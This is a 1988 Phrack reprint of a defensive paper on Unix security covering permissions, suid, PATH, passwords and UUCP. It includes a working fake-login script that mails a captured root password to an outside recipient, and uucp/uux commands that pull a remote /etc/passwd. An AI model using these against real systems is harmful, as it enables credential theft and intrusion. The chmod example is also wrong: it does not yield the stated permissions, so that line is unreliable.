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Current issue : #18 | Release date : 1988-07-06 | Editor : Crimson Death
Index of Phrack 18Crimson Death
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Unix System Security IssuesJester Sluggo
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Title : Unix System Security Issues
Author : Jester Sluggo
                               ==Phrack Inc.==

                     Volume Two, Issue 18, Phile #7 of 11

                   |     "Unix System Security Issues"    |
                   |              Typed by:               |
                   |               Whisky                 |
                   |         (from Holland, Europe)       |
                   |                 From                 |
                   |            Information Age           |
                   |     Vol. 11, Number 2, April 1988    |
                   |              Written By:             |
                   | Michael J. Knox and Edward D. Bowden |

Note:  This file was sent to me from a friend in Holland. I felt
       that it would be a good idea to present this file to the
       UNIX-hacker community, to show that hackers don't always
       harm systems, but sometimes look for ways to secure flaws
       in existing systems.  -- Jester Sluggo !!

There are a number of elements that have lead to the popularity of the Unix
operating system in the world today.  The most notable factors are its
portability among hardware platforms and the interactive programming
environment that it offers to users.  In fact, these elements have had much to
do with the successful evolution of the Unix system in the commercial market
place. (1, 2)
  As the Unix system expands further into industry and government, the need to
handle Unix system security will no doubt become imperative.  For example, the
US government is committing several million dollars a year for the Unix system
and its supported hardware.  (1) The security requirements for the government
are tremendous, and one can only guess at the future needs of security in
  In this paper, we will cover some of the more fundamental security risks in
the Unix system.  Discussed are common causes of Unix system compromise in
such areas as file protection, password security, networking and hacker
violations.  In our conclusion, we will comment upon ongoing effects in Unix
system security, and their direct influence on the portability of the Unix
operating system.


In the Unix operating system environment, files and directories are organized
in a tree structure with specific access modes.  The setting of these modes,
through permission bits (as octal digits), is the basis of Unix system
security.  Permission bits determine how users can access files and the type
of access they are allowed.  There are three user access modes for all Unix
system files and directories:  the owner, the group, and others.  Access to
read, write and execute within each of the usertypes is also controlled by
permission bits (Figure 1).  Flexibility in file security is convenient, but
it has been criticized as an area of system security compromise.

                        Permission modes
OWNER                        GROUP                    OTHERS
rwx            :             rwx            :         rwx
r=read  w=write  x=execute

-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory

FIGURE 1.  File and directory modes:  File shows Bob as the owner, with read
and write permission.  Group has write permission, while Others has read and
execute permission.  The directory gives a secure directory not readable,
writeable, or executable by Group and Others.

  Since the file protection mechanism is so important in the Unix operating
system, it stands to reason that the proper setting of permission bits is
required for overall security.  Aside from user ignorance, the most common
area of file compromise has to do with the default setting of permission bits
at file creation.  In some systems the default is octal 644, meaning that only
the file owner can write and read to a file, while all others can only read
it.  (3) In many "open" environments this may be acceptable.  However, in
cases where sensitive data is present, the access for reading by others should
be turned off. The file utility umask does in fact satisfy this requirement.
A suggested setting, umask 027, would enable all permission for the file
owner, disable write permission to the group, and disable permissions for all
others (octal 750).  By inserting this umask command in a user .profile or
.login file, the default will be overwritten by the new settings at file
  The CHMOD utility can be used to modify permission settings on files and
directories.  Issuing the following command,

chmod u+rwd,g+rw,g-w,u-rwx file

will provide the file with the same protection as the umask above (octal 750).
Permission bits can be relaxed with chmod at a later time, but at least
initially, the file structure can be made secure using a restrictive umask.
  By responsible application of such utilities as umask and chmod, users can
enhance file system security.  The Unix system, however, restricts the
security defined by the user to only owner, group and others.  Thus, the owner
of the file cannot designate file access to specific users.  As Kowack and
Healy have pointed out, "The granularity of control that (file security)
mechanisms is often insufficient in practice (...) it is not possible to grant
one user write protection to a directory while granting another read
permission to the same directory.  (4) A useful file security file security
extension to the Unix system might be Multics style access control lists.
  With access mode vulnerabilities in mind, users should pay close attention
to files and directories under their control, and correct permissions whenever
possible.  Even with the design limitations in mode granularity, following a
safe approach will ensure a more secure Unix system file structure.


The set user id (suid) and set group id (sgid) identify the user and group
ownership of a file.  By setting the suid or sgid permission bits of an
executable file, other users can gain access to the same resources (via the
executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others.  When Mary
executes bob.x, Mary becomes the new program owner.  If during program
execution bob.x requests access to file browse.txt, then Mary must have
previous read or write permission to browse.txt.  This would allow Mary and
everyone else total access to the contents of browse.txt, even when she is not
running bob.x.  By turning on the suid bit of bob.x, Mary will have the same
access permissions to browse.txt as does the program's real owner, but she
will only have access to browse.txt during the execution of bob.x.  Hence, by
incorporating suid or sgid, unwelcome browsers will be prevented from
accessing files like browse.txt.

  Although this feature appears to offer substantial access control to Unix
system files, it does have one critical drawback.  There is always the chance
that the superuser (system administrator) may have a writable file for others
that is also set with suid.  With some modification in the file's code (by a
hacker), an executable file like this would enable a user to become a
superuser.  Within a short period of time this violator could completely
compromise system security and make it inaccessible, even to other superusers.
As Farrow (5) puts it, "(...) having a set-user-id copy of the shell owned by
root is better than knowing the root password".
  To compensate for this security threat, writable suid files should be sought
out and eliminated by the system administrator.  Reporting of such files by
normal users is also essential in correcting existing security breaches.


Directory protection is commonly overlooked component of file security in the
Unix system.  Many system administrators and users are unaware of the fact,
that "publicly writable directories provide the most opportunities for
compromising the Unix system security" (6). Administrators tend to make these
"open" for users to move around and access public files and utilities.  This
can be disastrous, since files and other subdirectories within writable
directories can be moved out and replaced with different versions, even if
contained files are unreadable or unwritable to others.  When this happens, an
unscrupulous user or a "password breaker" may supplant a Trojan horse of a
commonly used system utility (e.g. ls, su, mail and so on).  For example,

For example:

Imagine that the /bin directory is publicly writable.  The perpetrator could
first remove the old su version (with rm utility) and then include his own
fake su to read the password of users who execute this utility.

  Although writable directories can destroy system integrity, readable ones
can be just as damaging.  Sometimes files and directories are configured to
permit read access by other.  This subtle convenience can lead to unauthorized
disclosure of sensitive data:  a serious matter when valuable information is
lost to a business competitor.
  As a general rule, therefore, read and write access should be removed from
all but system administrative directories.  Execute permission will allow
access to needed files; however, users might explicitly name the file they
wish to use.  This adds some protection to unreadable and unwritable
directories.  So, programs like lp file.x in an unreadable directory /ddr will
print the contents of file.x, while ls/ddr would not list the contents of that


PATH is an environment variable that points to a list of directories, which
are searched when a file is requested by a process.  The order of that search
is indicated by the sequence of the listed directories in the PATH name.  This
variable is established at user logon and is set up in the users .profile of
.login file.
  If a user places the current directory as the first entry in PATH, then
programs in the current directory will be run first.  Programs in other
directories with the same name will be ignored.  Although file and directory
access is made easier with a PATH variable set up this way, it may expose the
user to pre-existing Trojan horses.
  To illustrate this, assume that a Trojan horse, similar to the cat utility,
contains an instruction that imparts access privileges to a perpetrator.  The
fake cat is placed in a public directory /usr/his where a user often works.
Now if the user has a PATH variable with the current directory first, and he
enters the cat command while in /usr/his, the fake cat in /usr/his would be
executed but not the system cat located in /bin.
  In order to prevent this kind of system violation, the PATH variable must be
correctly set.  First, if at all possible, exclude the current directory as
the first entry in the PATH variable and type the full path name when invoking
Unix system commands.  This enhances file security, but is more cumbersome to
work with.  Second, if the working directory must be included in the PATH
variable, then it should always be listed last.  In this way, utilities like
vi, cat, su and ls will be executed first from systems directories like /bin
and /usr/bin before searching the user's working directory.


User authentication in the Unix system is accomplished by personal passwords.
Though passwords offer an additional level of security beyond physical
constraints, they lend themselves to the greatest area of computer system
compromise.  Lack of user awareness and responsibility contributes largely to
this form of computer insecurity.  This is true of many computer facilities
where password identification, authentication and authorization are required
for the access of resources - and the Unix operating system is no exception.
  Password information in many time-sharing systems are kept in restricted
files that are not ordinarily readable by users.  The Unix system differs in
this respect, since it allows all users to have read access to the /etc/passwd
file (FIGURE 2) where encrypted passwords and other user information are
stored.  Although the Unix system implements a one-way encryption method, and
in most systems a modified version of the data encryption standard (DES),
password breaking methods are known. Among these methods, brute-force attacks
are generally the least effective, yet techniques involving the use of
heuristics (good guesses and knowledge about passwords) tend to be successful.
For example, the /etc/passwd file contains such useful information as the
login name and comments fields.  Login names are especially rewarding to the
"password breaker" since many users will use login variants for passwords
(backward spelling, the appending of a single digit etc.).  The comment field
often contains items such as surname, given name, address, telephone number,
project name and so on.  To quote Morris and Grampp (7) in their landmark
paper on Unix system security:

  [in the case of logins]

  The authors made a survey of several dozen local machines, using as trial
  passwords a collection of the 20 most common female first names, each
  followed by a single digit.  The total number of passwords tried was,
  therefore, 200.  At least one of these 200 passwords turned out to be a
  valid password on every machine surveyed.

  [as for comment fields]

  (...) if an intruder knows something about the people using a machine, a
  whole new set of candidates is available.  Family and friend's names, auto
  registration numbers, hobbies, and pets are particularly productive
  categories to try interactively in the unlikely event that a purely
  mechanical scan of the password file turns out to be disappointing.

Thus, given a persistent system violator, there is a strong evidence, that he
will find some information about users in the /etc/passwd file. With this in
mind, it is obvious that a password file should be unreadable to everyone
except those in charge of system administration.


FIGURE 2.  The /etc/passwd file.  Note the comments field as underlined terms.

  Resolution of the /etc/passwd file's readability does not entirely solve the
basic problem with passwords.  Educating users and administrators is necessary
to assure proper password utilization. First, "good passwords are those that
are at least six characters long, aren't based on personal information, and
have some non-alphabetic (especially control) characters in them:  4score,
my_name, luv2run" (8).  Secondly, passwords should be changed periodically but
users should avoid alternating between two passwords.  Different passwords for
different machines and files will aid in protecting sensitive information.
Finally, passwords should never be available to unauthorized users. Reduction
of user ignorance about poor password choice will inevitably make a system
more secure.


UUCP system
The most common Unix system network is the UUCP system, which is a group of
programs that perform the file transfers and command execution between remote
systems.  (3) The problem with the UUCP system is that users on the network
may access other users' files without access permission.  As stated by Nowitz

  The uucp system, left unrestricted, will let any outside user execute
  commands and copy in/out any file that is readable/writable by a uucp login
  user.  It is up to the individual sites to be aware of this, and apply the
  protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system
  There are four UUCP system commands to consider when looking into network
security with the Unix system.  The first is uucp, a command used to copy
files between two Unix systems.  If uucp is not properly implemented by the
system administrator, any outside user can execute remote commands and copy
files from another login user.  If the file name on another system is known,
one could use the uucp command to copy files from that system to their system.
For example:

  %uucp system2!/main/src/hisfile myfile

will copy hisfile from system2 in the directory /main/src to the file myfile
in the current local directory.  If file transfer restrictions exist on either
system, hisfile would not be sent.  If there are no restrictions, any file
could be copied from a remote user - including the password file.  The
following would copy the remote system /etc/passwd file to the local file

  %uucp system2!/etc/passwd thanks

System administrators can address the uucp matter by restricting uucp file
transfers to the directory /user/spool/uucppublic.  (8) If one tries to
transfer a file anywhere else, a message will be returned saying "remote
access to path/file denied" and no file transfer will occur.
  The second UUCP system command to consider is the uux.  Its function is to
execute commands on remote Unix computers.  This is called remote command
execution and is most often used to send mail between systems (mail executes
the uux command internally).
  The ability to execute a command on another system introduces a serious
security problem if remote command execution is not limited.  As an example, a
system should not allow users from another system to perform the following:

  %uux "system1!cat</etc/passwd>/usr/spool/uucppublic"

which would cause system1 to send its /etc/passwd file to the system2 uucp
public directory.  The user of system2 would now have access to the password
file.  Therefore, only a few commands should be allowed to execute remotely.
Often the only command allowed to run uux is rmail, the restricted mail
  The third UUCP system function is the uucico (copy in / copy out) program.
It performs the true communication work.  Uucp or uux does not actually call
up other systems; instead they are queued and the uucico program initiates the
remote processes.  The uucico program uses the file /usr/uucp/USERFILE to
determine what files a remote system may send or receive.  Checks for legal
files are the basis for security in USERFILE.  Thus the system administrator
should carefully control this file.
  In addition, USERFILE controls security between two Unix systems by allowing
a call-back flag to be set.  Therefore, some degree of security can be
achieved by requiring a system to check if the remote system is legal before a
call-back occurs.
  The last UUCP function is the uuxqt.  It controls the remote command
execution.  The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine
which commands will run in response to a remote execution request.  For
example, if one wishes to use the electronic mail feature, then the L.cmd file
will contain the line rmail.  Since uuxqt determines what commands will be
allowed to execute remotely, commands which may compromise system security
should not be included in L.cmd.


In addition to UUCP network commands, one should also be cautious of the cu
command (call the Unix system).  Cu permits a remote user to call another
computer system.  The problem with cu is that a user on a system with a weak
security can use cu to connect to a more secure system and then install a
Trojan horse on the stronger system.  It is apparent that cu should not be
used to go from a weaker system to a stronger one, and it is up to the system
administrator to ensure that this never occurs.


With the increased number of computers operating under the Unix system, some
consideration must be given to local area networks (LANs).  Because LANs are
designed to transmit files between computers quickly, security has not been a
priority with many LANs, but there are secure LANs under development.  It is
the job of the system manager to investigate security risks when employing


There are numerous methods used by hackers to gain entry into computer
systems.  In the Unix system, Trojan horses, spoofs and suids are the primary
weapons used by trespassers.
  Trojan horses are pieces of code or shell scripts which usually assume the
role of a common utility but when activated by an unsuspecting user performs
some unexpected task for the trespasser.  Among the many different Trojan
horses, it is the su masquerade that is the most dangerous to the Unix system.
  Recall that the /etc/passwd file is readable to others, and also contains
information about all users - even root users.  Consider what a hacker could
do if he were able to read this file and locate a root user with a writable
directory.  He might easily plant a fake su that would send the root password
back to the hacker.  A Trojan horse similar to this can often be avoided when
various security measures are followed, that is, an etc/passwd file with
limited read access, controlling writable directories, and the PATH variable
properly set.
  A spoof is basically a hoax that causes an unsuspecting victim to believe
that a masquerading computer function is actually a real system operation.  A
very popular spool in many computer systems is the terminal-login trap.  By
displaying a phoney login format, a hacker is able to capture the user's
  Imagine that a root user has temporarily deserted his terminal.  A hacker
could quickly install a login process like the one described by Morris and
Grampp (7):

  echo -n "login:"
  read X
  stty -echo
  echo -n "password:"
  read Y
  echo ""
  stty echo
  echo %X%Y|mail outside|hacker&
  sleep 1
  echo Login incorrect
  stty 0>/dev/tty

We see that the password of the root user is mailed to the hacker who has
completely compromised the Unix system.  The fake terminal-login acts as if
the user has incorrectly entered the password.  It then transfers control over
to the stty process, thereby leaving no trace of its existence.
  Prevention of spoofs, like most security hazards, must begin with user
education.  But an immediate solution to security is sometimes needed before
education can be effected.  As for terminal-login spoofs, there are some
keyboard-locking programs that protect the login session while users are away
from their terminals.  (8, 10) These locked programs ignore keyboard-generated
interrupts and wait for the user to enter a password to resume the terminal
  Since the suid mode has been previously examined in the password section, we
merely indicate some suid solutions here.  First, suid programs should be used
is there are no other alternatives.  Unrestrained suids or sgids can lead to
system compromise.  Second, a "restricted shell" should be given to a process
that escapes from a suid process to a child process.  The reason for this is
that a nonprivileged child process might inherit privileged files from its
parents.  Finally, suid files should be writable only by their owners,
otherwise others may have access to overwrite the file contents.
  It can be seen that by applying some basic security principles, a user can
avoid Trojan horses, spoofs and inappropriate suids.  There are several other
techniques used by hackers to compromise system security, but the use of good
judgement and user education may go far in preventing their occurrence.


Throughout this paper we have discussed conventional approaches to Unix system
security by way of practical file management, password protection, and
networking.  While it can be argued that user education is paramount in
maintaining Unix system security (11) factors in human error will promote some
degree of system insecurity.  Advances in protection mechanisms through
better-written software (12), centralized password control (13) and
identification devices may result in enhanced Unix system security.
  The question now asked applies to the future of Unix system operating.  Can
existing Unix systems accommodate the security requirements of government and
industry? It appears not, at least for governmental security projects.  By
following the Orange Book (14), a government graded classification of secure
computer systems, the Unix system is only as secure as the C1 criterion.  A C1
system, which has a low security rating (D being the lowest) provides only
discretionary security protection (DSP) against browsers or non-programmer
users. Clearly this is insufficient as far as defense or proprietary security
is concerned.  What is needed are fundamental changes to the Unix security
system.  This has been recognized by at least three companies, AT&T, Gould and
Honeywell (15, 16, 17).  Gould, in particular, has made vital changes to the
kernel and file system in order to produce a C2 rated Unix operating system.
To achieve this, however, they have had to sacrifice some of the portability
of the Unix system.  It is hoped that in the near future a Unix system with an
A1 classification will be realized, though not at the expense of losing its
valued portability.


1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
   pp 50-63
2  Waite, M et al. "Unix system V primer" USA (1984)
3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
   Vol 18 (26 September 1984) pp 27-28
5  Farrow, R "Security issues and strategies for users" Unix/World
   (April 1986) pp 65-71
6  Farrow, R "Security for superusers, or how to break the Unix system"
   Unix/World (May 1986) pp 65-70
7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
   Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
8  Wood, P H and Kochan, S G "Unix system security" USA (1985)
9  Nowitz, D A "UUCP Implementation description:  Unix programmer's manual
   Sec. 2" AT&T Bell Laboratories, USA (1984)
10 Thomas, R "Securing your terminal: two approaches" Unix/World
   (April 1986) pp 73-76
11 Karpinski, D "Security round table (Part 1)" Unix Review
   (October 1984) p 48
12 Karpinski, D "Security round table (Part 2)" Unix Review
   (October 1984) p 48
13 Lobel, J "Foiling the system breakers:  computer security and access
   control" McGraw-Hill, USA (1986)
14 National Computer Security Center "Department of Defense trusted
   computer system evaluation criteria" CSC-STD-001-83, USA (1983)
15 Stewart, F "Implementing security under Unix" Systems&Software
   (February 1986)
16 Schaffer, M and Walsh, G "Lock/ix:  An implementation of Unix for the
   Lock TCB" Proceedings of USENIX (1988)
17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
   Government System Division, USA (August 1987)
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